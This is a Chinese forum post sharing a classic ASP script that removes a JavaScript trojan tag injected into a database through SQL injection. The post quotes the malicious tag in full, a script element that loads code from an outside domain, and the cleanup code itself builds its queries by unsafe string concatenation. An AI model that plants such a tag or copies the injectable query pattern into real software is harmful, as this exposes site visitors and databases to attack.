SQL被注入了JS的木马病毒,自己写了一段小程序来处理,虽然仍然比较麻烦,但至少也算简单得多了,下面的:id:列的ID字段,有些人喜欢将表中的ID号设为其它的,U_wdate为字段名,Web_Class为表。自己一个表一个表的操作,不知道其它人有什么更好的办法没,教一下我了。
<!--#include file="inc/conn.asp"-->
<meta http-equiv="refresh" content="2">
<%=replaceString("id","U_wdate","Web_Class")%>
<%
on error resume next
function replaceString(id,str,web) 'str为字段 web为表
sql="select "&id&","&str&" from "&web&""
response.write sql
set rs=conn.execute(sql)
do while not rs.eof
if rs(str)<>"" then
strr=replace(rs(str),"<script src=http://3bomb.%63om/c.js></script>","")
response.write strr
sql2="update "&web&" set "&str&"='"&strr&"' where "&id&"="&rs(id)&""
conn.execute(sql2)
end if
rs.movenext
loop
rs.close
conn.close
set rs=nothing
end function
%>